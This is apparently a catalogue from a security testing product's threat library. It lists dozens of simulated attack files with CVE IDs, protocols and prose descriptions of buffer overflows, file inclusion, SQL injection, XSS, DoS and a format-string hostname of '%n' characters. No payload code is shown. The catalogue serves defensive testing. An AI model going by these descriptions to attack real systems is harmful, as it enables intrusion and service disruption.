Detailed Description:	MS SQL Server 2000 employs UDP Port 1434 for foreign hosts to ping for connectivity. Sending a UDP packet with a specific payload to the port will result in the server responding with a ping reply. This threat may be executed by sending a flood of UDP packets from a falsified source or finding another vulnerable MS SQL Server and using it as the source causing the two servers to ping each other resulting in a denial of service.
Protocol Type:	MSSQL
CVEID:	CVE-2002-0650
OSVDB:	878
Threat Package:	Standard
Threat File Name:	TSL20111104-02_Nullsoft_Winamp_Advanced_Module_Format_File_Buffer_Overflow_IPv6.xml
Executive Description:	Nullsoft Winamp Advanced Module Format File Buffer Overflow(IPV6 VERSION)
Detailed Description:	A code execution vulnerability exists in Nullsoft Winamp. This vulnerability is due to a heap buffer overflow while handling crafted .amf files. Remote attackers can exploit this vulnerability by enticing the target user to open specially crafted files. Successful exploitation would lead to to arbitrary code execution in the security context of the logged-in user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
Threat File Name:	ccrp_foldertreeview_dos.xml
Executive Description:	FolderTreeView ActiveX Control Remote Denial of Service Vulnerability
Detailed Description:	This threat use a maliciously crafted html page to trigger a denial of service condition due to the vulnerable ActiveX "FolderTreeView" Control in Internet Explorer. This affects the FolderTreeView ActiveX Control using Internet Explorer Web Browser clients that typically connect to the http port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080311-31_IBM_Informix_Dynamic_Server_Command_Argument_Processing_Stack_Overflow.xml
Executive Description:	IBM Informix Dynamic Server Command Argument Processing Stack Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in IBM Informix Dynamic Server. The vulnerability is due to a boundary error when processing a large number of arguments passed in the Authentication messages. Remote unauthenticated attackers may exploit the vulnerability to cause denial of service or inject and execute arbitrary code on the target system with System privileges. In a sophisticated attack scenario where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, normally System. In an attack case where code injection is not successful, the affected server will terminate and reset all established connections.
Protocol Type:	IBM Informix Internal Protocol
CVEID:	CVE-2008-0727
Threat Package:	Standard
Threat File Name:	modernbill_rfi_IPv6.xml
Executive Description:	Modernbill Config.PHP Remote File Include Vulnerability Modernbill Config.PHP Remote File Include Vulnerability Modernbill Config.PHP Remote File Include Vulnerability Modernbill Config.PHP Remote File Include Vulnerability (IPv6 Version)

Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Modernbill is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	corehttp_bof.xml
Executive Description:	corehttp 0.5.3alpha (httpd) Remote Buffer Overflow Vulnerability
Detailed Description:	This threat uses a long specially crafted URI in the http request of a emulated client to crash or execute arbitrary code on server running Corehttp 0.5.3. CoreHTTP is a web server and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4060
Threat Package:	Standard
Threat File Name:	ftp_buffer_overflow_257.xml
Executive Description:	FTP Buffer Overflow [257] Attack
Detailed Description:	This generic threat sends a long buffer [257 bytes] against an FTP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	FSC20070710-12_Microsoft_Excel_Version_Information_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Version Information Handling Code Execution (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Excel processes files. The vulnerability is a result of insufficient data validation while processing the Version Number field in a BOF record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1756
Threat Package:	Standard
Threat File Name:	ms00-006.xml
Executive Description:	Microsoft Index Server ASP Source Disclosure
Detailed Description:	This threat retrieves the source to an ASP file by passing a special argument to the Microsoft index server on IIS. This can be used by an attacker to determine usernames and passwords as well as disclosing the inner workings of a website. Microsoft's Index Server is part of IIS and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2000-0302
OSVDB:	271
Threat Package:	Standard
Threat File Name:	FSC20071219-34_Yahoo_Toolbar_URL_Shortcut_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	Yahoo! Toolbar URL Shortcut ActiveX Control Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Yahoo! Toolbar. The vulnerability is caused due to boundary errors within the YShortcut ActiveX control component of Yahoo! Toolbar. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6535
Threat Package:	Standard
Threat File Name:	ms06-006.xml
Executive Description:	Windows Media Player Plugin MS06-006 Overflow
Detailed Description:	
Protocol Type:	HTTP
CVEID:	CVE-2006-0005
OSVDB:	23132
Threat File Name:	putty_bof_IPv6.xml
Executive Description:	PuTTY.exe 0.53 Buffer Overflow (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	SSH/IPv6
CVEID:	CVE-2002-1359
Threat Package:	Standard
Threat File Name:	TSL20110412-20_Microsoft_Windows_Wordpad_Converter_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Windows Wordpad Converter Parsing Memory Corruption
Detailed Description:	Two code execution vulnerabilities exist in Microsoft Windows Wordpad converter. A remote attacker can exploit these vulnerabilities by enticing a target user to access a crafted Word 97 file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged on user. An unsuccessful exploit attempt may terminate the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0028
Threat File Name:	FSC20080708-04_Microsoft_SQL_Server_INSERT_Statement_Buffer_Overflow.xml
Executive Description:	Microsoft SQL Server INSERT Statement Buffer Overflow
Detailed Description:	There exists a buffer overflow in Microsoft SQL Server. The vulnerability is due improper input validation when processing INSERT statements. A remote authenticated attacker can exploit this vulnerability by sending a specially crafted SQL statement to the target server, potentially causing arbitrary code injection and execution with the privileges of the affected process.
Protocol Type:	MS-SQL-S
CVEID:	CVE-2008-0106
Threat Package:	Standard
Threat File Name:	netgear_xss_IPv6.xml
Executive Description:	Netgear URL Filter Cross-Site Scripting Injection (IPv6 Version)

Detailed Description:	This threat sends a URL request for a file that should be filtered by a Netgear router. The Netgear router in this instance will filter the request, block the URL, and enter an entry into its log. However, this entry can be used as a vector of attack with cross site scripting injection. When the log is later viewed by a user, the Javascript is executed with the privileges of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0291
OSVDB:	13012
Threat Package:	Standard
Threat File Name:	TSL20140630-07_PHP_unserialize_Call_SPL_ArrayObject_and_SPLObjectStorage_Memory_Corruption.xml
Executive Description:	PHP unserialize Call SPL ArrayObject and SPLObjectStorage Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in PHP. The vulnerability is due to type confusion in the unserialize() function for SPL ArrayObject and SPLObjectStorage. An attacker can exploit this vulnerability if the application uses the vulnerable function. A successful attack can allow arbitrary code execution in the context of the PHP application. An unsuccessful attack will result in a denial of service condition.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-3515
OSVDB:	108462
Threat File Name:	TSL20111208-01_Novell_Netware_XNFS_NLM_xdrDecodeString_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Novell Netware XNFS.NLM xdrDecodeString Heap Buffer Overflow IPv6 version.
Detailed Description:	A heap buffer overflow vulnerability exists in Novell Netware. The vulnerability is due to the trusting of a length value in xdrDecodeString() function while processing certain RPC calls, potentially resulting in a heap buffer overflow. The flaw exists within the XNFS.NLM component. A remote unauthenticated attacker can exploit this vulnerability by sending malicious NFS RPC requests. In a successful attack scenario, the attacker can execute arbitrary code within the context of the system. In an unsuccessful attack the target server may become unresponsive. Tester should set variable \$destPort to 1234 before test.
Protocol Type:	SunRPC/SunRPC/NFS.IPV6
CVEID:	CVE-2011-4191
Threat File Name:	winamp_pls_dos.xml
Executive Description:	Nullsoft Winamp PLS File Remote Denial of Service Vulnerability
Detailed Description:	This threat leverages a flaw in Winamp media player via a malformed playlist (.pls) file resulting in a denial of service condition. Winamp is a client application and can receive media input via a web server listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	quicktime_rtsp_bof.xml
Executive Description:	Apple Quicktime RTSP URL Handler Buffer Overflow
Detailed Description:	This threat simulates a client requesting a Quicktime video stream, and the server replying with a maliciously constructed qtl file. This file will cause a buffer overflow in the Quicktime player by a vulnerability in the RTSP URL handler. The transport of the qtl file is done via HTTP, which generally runs on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0015
Threat Package:	Standard
Threat File Name:	TSL20161206-01_Apache_HTTP_Server_mod_http2_Module_Denial_of_Service_IPv6.xml
Executive Description:	Apache HTTP Server mod_http2 Module Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability exists in Apache HTTP server. The vulnerability is due to the improper validation checks of a request header size when HTTP/2 protocol is used to access a resource. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP/2 request with headers larger than the server's available memory. Successful exploitation would use up all the available memory on the server, resulting in a denial of service condition on the target.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-8740
Threat File Name:	TSL20160510-18_Microsoft_Windows_Graphics_Device_Interface_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Graphics Device Interface Integer Overflow (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in an unspecified component of the Microsoft Windows graphics device interface (GDI). The vulnerability is due to a failure on part of the component to properly handle certain objects in memory. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted document. Successful exploitation allows the attacker to execute arbitrary code under the security context of the user. Unsuccessful exploitation may lead to denial-of-service conditions in applications using the GDI component.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-0170
Threat File Name:	TSL20170623-04_JasPer_jp2_decode_Out_of_Bounds_Read.xml
Executive Description:	JasPer jp2_decode Out of Bounds Read
Detailed Description:	An out-of-bounds array indexing vulnerability has been reported in Jasper. The vulnerability is due to improper handling of objects in memory within the jp2_decode() function of jp2_dec.c. A remote attacker could exploit this vulnerability by supplying a crafted image file to an application using the affected library. Successful exploitation of this vulnerability could lead to denial-of-service conditions or, in the worst case, information disclosure.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP
CVEID:	CVE-2017-9782
Threat File Name:	TSL20110623-01_Microsoft_Internet_Explorer_layout-grid-char_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer layout-grid-char Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an input validation weakness in how the vulnerable application handles HTML pages. Remote attackers can exploit this vulnerability by enticing target users to open a malicious webpage, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the logic of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-1260

Threat File Name:	truenorthDoS_IPv6.xml
Executive Description:	True North IAEMailServer DoS (IPv6 Version)
Detailed Description:	This threat causes True North's IMAP server to crash, creating a Denial of Service. IMAP typically listens on port 143. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2005-2083
OSVDB:	17609
Threat Package:	Standard
Threat File Name:	TSL20170111-10_Adobe_Acrobat_and_Reader_JPEG2000_Out_of_Bounds_Read.xml
Executive Description:	Adobe Acrobat and Reader JPEG2000 Out of Bounds Read
Detailed Description:	An out-of-bounds read vulnerability has been reported in Adobe Acrobat and Reader. The vulnerability is due to improper validation of embedded JPEG2000 images in a PDF document. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted webpage or a maliciously crafted PDF document. Successful exploitation would allow the attacker to gain sensitive information that may help in further attacks.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP
CVEID:	CVE-2017-2946
Threat File Name:	cahier_de_textes_sql.xml
Executive Description:	Cahier De Textes SQL Injection Vulnerability
Detailed Description:	his threat sends a crafted URL that contains an SQL query which is executed by the server. Cahier De Textes an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5221
Threat Package:	Standard
Threat File Name:	TSL20111103-05_Microsoft_Windows_win32k_sys_TrueType_Font_Parsing_Kernel_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows win32k.sys TrueType Font Parsing Kernel Memory Corruption(IPV6 VERSION)
Detailed Description:	A memory corruption vulnerability has been identified in the Microsoft Windows kernel. The vulnerability is due to improper calculations and bounds checks when parsing a malicious font file. Malicious values within the font file can cause the vulnerable code to corrupt memory outside the allocated buffer. Remote attackers can exploit this vulnerability by enticing a user to open a crafted TrueType font file. If exploited successfully, an attacker can execute arbitrary code within the Windows kernel. This vulnerability is actively exploited by the Duqu malware.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3402
Threat File Name:	TSL20140610-22_Microsoft_Internet_Explorer_CVE-2014-1791_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-1791 Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Internet Explorer. The vulnerability is due to improperly accessing an object in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-1791
OSVDB:	107868
Threat File Name:	FSC20080401-08_Multiple_Vendor_CUPS_GIF_Decoding_Routine_Buffer_Overflow.xml
Executive Description:	Multiple Vendor CUPS GIF Decoding Routine Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Apple's Common Unix Printing System (CUPS) distributed by multiple vendors. The vulnerability is due to a boundary error in handling of GIF format files and may be exploited by remote attackers to compromise a vulnerable system or cause denial of service.
Protocol Type:	NDP
CVEID:	CVE-2008-1373
Threat Package:	Standard
Threat File Name:	TSL20150911-01_OpenLDAP_ber_get_next_Denial_of_Service.xml
Executive Description:	OpenLDAP ber_get_next Denial of Service
Detailed Description:	A denial of service condition has been reported in OpenLDAP. The vulnerability is due to an obsolete assertion failure in ber_get_next(). A remote user can exploit this vulnerability by sending a crafted BER message to the target server. A successful exploitation will cause a denial of service condition. Tester should set variable \$destport to 389 before test.
Protocol Type:	LDAP/LDAPS
CVEID:	CVE-2015-6908
Threat File Name:	TSL20160112-06_Microsoft_Silverlight_String_Decoder_Memory_Corruption.xml
Executive Description:	Microsoft Silverlight String Decoder Memory Corruption
Detailed Description:	A code execution vulnerability has been reported in Microsoft Silverlight. The vulnerability is due to a lack of offset verification after a user-supplied decoder finishes decoding strings while processing Web content.A remote attacker could exploit this vulnerability by enticing a victim user to visit a maliciously crafted Web page. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2016-0034
Threat File Name:	snmpXSS.xml
Executive Description:	SNMP XSS attempt
Detailed Description:	This threat sends a SNMP XSS attempt. It specifies the community string as Javascript code, causing a web event log to execute that code in the context of the user browsing the administrative site. This can be used to hide log details, perform actions in the administration site, and attempt to exploit the browser with malware. SNMP traffic is sent to UDP port 161.
Protocol Type:	SNMP
Threat Package:	Standard
Threat File Name:	lupper33.xml

Executive Description:	Lupper Worm 33
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	IEImageFreeze.xml
Executive Description:	Internet Explorer Large Image Denial Of Service
Detailed Description:	This attack sends a malicious webpage, specifying a very large image width and height. This causes Internet Explorer and other web browsers to attempt to resize the image, leading to system instability and potential crashing. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-4625
OSVDB:	22697
Threat Package:	Standard
Threat File Name:	NOOPudpHP-UNIX2.xml
Executive Description:	UDP NOOP Variant HP-UNIX 2
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure more probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	mobbl_IPv6.xml
Executive Description:	Internet Explorer ADODB.Recordset Crash (IPv6 Version)
Detailed Description:	This threat sends a malformed web page that causes memory corruption in Internet Explorer. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3354
OSVDB:	26834
Threat Package:	Standard
Threat File Name:	pafiledb_sqli.xml
Executive Description:	paFileDB 3.6 (search.php) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. paFileDB is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20100722-01_HP_OpenView_Network_Node_Manager_webappmon.exe_execvp_nc_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager webappmon.exe execvp_nc Buffer Overflow
Detailed Description:	<p>A stack buffer overflow exists in the HP OpenView Network Node Manager (NNM) ov.dll which is invoked by the CGI program webappmon.exe. The vulnerability is due to a boundary error when processing maliciously crafted HTTP requests.</p> <p>A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed.</p> <p>In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code.</p>
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-2703
Threat File Name:	bluedragoncms_cmi.xml
Executive Description:	Php Blue Dragon CMS 2.9 Remote File Include Vulnerability
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via popup_finduser.phps "vsDragonRootPath" parameter. Foing is a web based application with typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20100810-14_Microsoft_Windows_Cinepak_Codec_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Cinepak Codec Code Execution (IPv6 Version)
Detailed Description:	<p>A remote code execution vulnerability exists in the Microsoft Windows Cinepak Codec. The vulnerability is caused by a improper handling of VIDC (Cinepak) streams within the iccvid.dll module.</p> <p>An attacker can exploit this vulnerability by enticing a target user to open a specially crafted AVI file. In attack scenarios where code execution is successful the injected code will be executed within the context of the currently logged in user. When code execution is not successful, the affected application may terminate abnormally, leading to a denial of service condition.</p>
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-2553
Threat Package:	Standard
Threat File Name:	TSL20170615-02_Schneider_Electric_U.motion_Builder_runscript.php_Directory_Traversal.xml
Executive Description:	Schneider Electric U.motion Builder runscript.php Directory Traversal
Detailed Description:	A directory traversal vulnerability has been reported in Schneider Electric U.motion Builder. This vulnerability is caused by a lack of input validation, and access control to the runscript.php script. A remote, unauthenticated attacker could exploit this vulnerability by sending a malicious request to the server. Successful exploitation results in information disclosure.
Protocol Type:	HTTP
CVEID:	CVE-2017-7974
Threat File Name:	MSsqlHeap.xml

Executive Description:	MS02-039/MS02-061 MS SQL Server 2000 Heap Overflow
Detailed Description:	MS SQL Server 2000 employs UDP Port 1434 for foreign hosts to ping for connectivity. This attack takes advantage of a heap overflow in an unpatched version of MSSQL Server, causing the service to crash. This same flaw can be used to cause remote code execution.
Protocol Type:	MSSQL
CVEID:	CVE-2002-0649
OSVDB:	4577
Threat Package:	Standard
Threat File Name:	TSL20161213-22_Microsoft_Office_CVE-2016-7289_Memory_Corruption.xml
Executive Description:	Microsoft Office CVE-2016-7289 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported Microsoft Office software. The vulnerability are due to improper handling of certain objects in memory. A remote attacker could exploit the vulnerability by enticing a victim user to open a maliciously crafted document. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP
CVEID:	CVE-2016-7289
Threat File Name:	TSL20141106-07_LibreOffice_Impress_Remote_Control_Use_After_Free.xml
Executive Description:	LibreOffice Impress Remote Control Use After Free
Detailed Description:	A use after free vulnerability exists in LibreOffice Impress. The vulnerability is due to an error in the code managing remote control port. A remote unauthenticated attacker can exploit this vulnerability by sending crafted data to the affected port. Successful exploitation will result in arbitrary code execution in the context of the affected application.
Protocol Type:	LibreOffice Impress Remote Control Protocol
CVEID:	CVE-2014-3693
OSVDB:	114326
Threat File Name:	TSL20170523-11_IBM_Informix_Dynamic_Server_index.php_testconn_Heap_Buffer_Overflow.xml
Executive Description:	IBM Informix Dynamic Server index.php testconn Heap Buffer Overflow
Detailed Description:	A heap buffer overflow have been reported in IBM's Informix Dynamic Server and Informix Open Admin Tool. The vulnerability is due an input validation error when processing requests sent to index.php. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request. Successful exploitation could result in code execution with SYSTEM privileges.
Protocol Type:	HTTP
CVEID:	CVE-2017-1092
Threat File Name:	TSL20140121-08_Red_Hat_JBoss_Seam_InterfaceGenerator_Information_Disclosure.xml
Executive Description:	Red Hat JBoss Seam InterfaceGenerator Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Red Hat JBoss Seam Framework. This is due to a design flaw in the InterfaceGenerator handler that allows it to expose details of all classes on the server's classpath. A remote unauthenticated attacker may exploit this vulnerability on a web application powered by the JBoss Seam Framework to determine which classes are deployed on the server.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-6448
OSVDB:	102344
Threat File Name:	TSL20070109-16_Microsoft_Excel_Column_Record_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Excel Column Record Handling Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel. The flaw is caused by insufficient checks while parsing the Column field in several record types in Excel files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack case where code injection is not successful, all instances of the vulnerable application will terminate or the application will stop responding. This can potentially lead to a loss of data. In a more sophisticated attack, where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2007-0030
Threat File Name:	hrsCheckpoint.xml
Executive Description:	HTTP Request Smuggling Attack Injection
Detailed Description:	This threat injects a known HTTP attack that Checkpoint firewall should block. By sending this crafted attack, Checkpoint's protections are bypassed and IIS will serve the request. The attack would be sent at either port 80 or a proxy port.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	nabopoll_rfi.xml
Executive Description:	nabopoll 1.2 (survey.inc.php path) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Nabopoll is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0873
Threat Package:	Standard
Threat File Name:	TSL20141111-25_Microsoft_Windows_SChannel_Buffer_Overflow.xml
Executive Description:	Microsoft Windows SChannel Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in Microsoft SChannel. The vulnerability is due to improper processing of specially crafted packets that leads to a buffer overflow. A remote, unauthenticated attacker can exploit this vulnerability by sending specially crafted packets to the target machine. Successful exploitation could result in arbitrary code execution on the affected system. Tester should set variable \$destPort to 443 before test.
Protocol Type:	TLS/SSL/HTTPS/SMTP/SMTPS
CVEID:	CVE-2014-6321
OSVDB:	114506

Threat File Name:	FSC20070921-18_CA_BrightStor_ARCServe_Backup_LGServer_Authentication_Password_Buffer_Overflow_IPv6.xml
Executive Description:	CA BrightStor ARCServe Backup LGServer Authentication Password Buffer Overflow (IPv6 Version)
Detailed Description:	There exist two buffer overflow vulnerabilities in the way CA BrightStor ARCServe Backup for Laptops and Desktops service handles incoming messages. Specifically the vulnerabilities are due to lack of boundary check when processing user authentication requests. By sending specially crafted authentication request, an unauthenticated remote attacker can leverage these flaws to execute arbitrary code on the target host with System privileges. (IPv6 Version)
Protocol Type:	SSDP/IPv6
CVEID:	CVE-2007-5004
Threat Package:	Standard
Threat File Name:	FSC20100608-20_Microsoft_Office_Excel_RTD_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office Excel RTD Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office Excel. The vulnerability is due to a flaw while parsing specially crafted RealTimeData (RTD) records within Excel files. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-1246
Threat Package:	Standard
Threat File Name:	FSC20060418-07_Mozilla_Firefox_Tag_Order_Memory_Corruption.xml
Executive Description:	Mozilla Firefox Tag Order Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in the Mozilla Firefox web browser. The vulnerable application incorrectly parses a series of crafted HTML tags, resulting in memory corruption. A malicious attacker can exploit this vulnerability by enticing a user to open a specially crafted web page, which may result in the injection and execution of arbitrary code on the target host.
Protocol Type:	HTTP
CVEID:	CVE-2006-0749
Threat Package:	Standard
Threat File Name:	TSL20140502-07_InduSoft_Web_Studio_Directory_Traversal_IPv6.xml
Executive Description:	InduSoft Web Studio Directory Traversal(IPv6 Version)
Detailed Description:	A directory traversal vulnerability exists in InduSoft Web Studio. The vulnerability is due to insufficient validation of certain requests while using the development web server. An unauthenticated attacker could exploit this vulnerability by sending crafted requests to the vulnerable service. In the event of a successful attack, arbitrary files can be downloaded from outside of the web server's root directory.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-0780
Threat File Name:	qksmtp_bof.xml
Executive Description:	QK SMTP Remote Buffer Overflow Vulnerability
Detailed Description:	This threat uses a specially crafted "rcpt to" command issued to a vulnerable server to execute arbitrary code. QK SMTP server typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2006-5551
OSVDB:	29991
Threat Package:	Standard
Threat File Name:	dhcp_discover_hostname_format.xml
Executive Description:	DHCP Hostname Format String Attack
Detailed Description:	This threat sends out a DHCP discover message with a hostname option of %n%n%n.... This special format character is used in attacks to write to arbitrary pieces of memory, causing a crash. If a service is vulnerable to this attack, it could be vulnerable to remote code execution.
Protocol Type:	DHCP
CVEID:	CVE-2002-0702
Threat Package:	Standard
Threat File Name:	TSL20170314-04_Microsoft_Windows_PDF_Library_CVE-2017-0023_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Windows PDF Library CVE-2017-0023 Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in an unspecified component of the PDF library in Microsoft Windows. The vulnerability is due to the library improperly handling certain objects in memory. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted PDF file. Successful exploitation would allow the attacker to gain sensitive information that may help in further attacks.
Protocol Type:	HTTP,HTTPS,SMB/CIFS,IMAP,POP3,FTP,IPv6
CVEID:	CVE-2017-0023
Threat File Name:	revizecms_xss_IPv6.xml
Executive Description:	Revize CMS HTTPTranslatorServlet XSS (IPv6 Version)
Detailed Description:	This threat sends a crafted URL query that contains HTML or javascript to be included in the page. Revize CMS is an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3730
OSVDB:	20922
Threat Package:	Standard
Threat File Name:	ie_webviewfolder_bof.xml
Executive Description:	Microsoft Internet Explorer WebViewFolderIcon Buffer Overflow Vulnerability
Detailed Description:	This threat uses a malicious server reply that allows for a remote buffer overflow or DoS attack. This affects Internet Explorer Web Browser clients that typically connect to the http port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3730

OSVDB:	27110
Threat Package:	Standard
Threat File Name:	nvr_nvUtility_IPv6.xml
Executive Description:	ACTi Network Video Controller ActiveX Control nvUtility.dll Remote Bufferoverflow Vulnerability "SaveXMLFile()" (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow via the "SaveXMLFile()" method in the NVR nvUtility.dll ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4583
Threat Package:	Standard
Threat File Name:	FSC20080630-16_OpenLDAP_ber_get_next_BER_Decoding_Denial_of_Service_IPv6.xml
Executive Description:	OpenLDAP ber_get_next BER Decoding Denial of Service (IPv6 Version)
Detailed Description:	There exists a denial of service vulnerability in OpenLDAP slapd. The flaw is due to a design error when decoding ASN.1 BER network messages. A remote unauthenticated attacker can trigger this vulnerability by sending a crafted ASN.1 BER-encoded message to the target server. Successful attack could allow for raising a denial of service condition to the affected service. (IPv6 Version)
Protocol Type:	LDAP/IPv6
CVEID:	CVE-2008-2952
Threat Package:	Standard
Threat File Name:	UserAgentXSS.xml
Executive Description:	Generic User-Agent XSS Attempt
Detailed Description:	This attack represents a cross-site scripting attack through the user-agent field of HTTP. This field is used in logfile analysis and some server side scripting. By injecting Javascript into this field, code can be executed through the webpage and be used to steal session and login information.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170302-04_Trend_Micro_SafeSync_for_Enterprise_storage.pm_device_id_role_Command_Injection_IPv6.xml
Executive Description:	Trend Micro SafeSync for Enterprise storage.pm device_id role Command Injection (IPv6 Version)
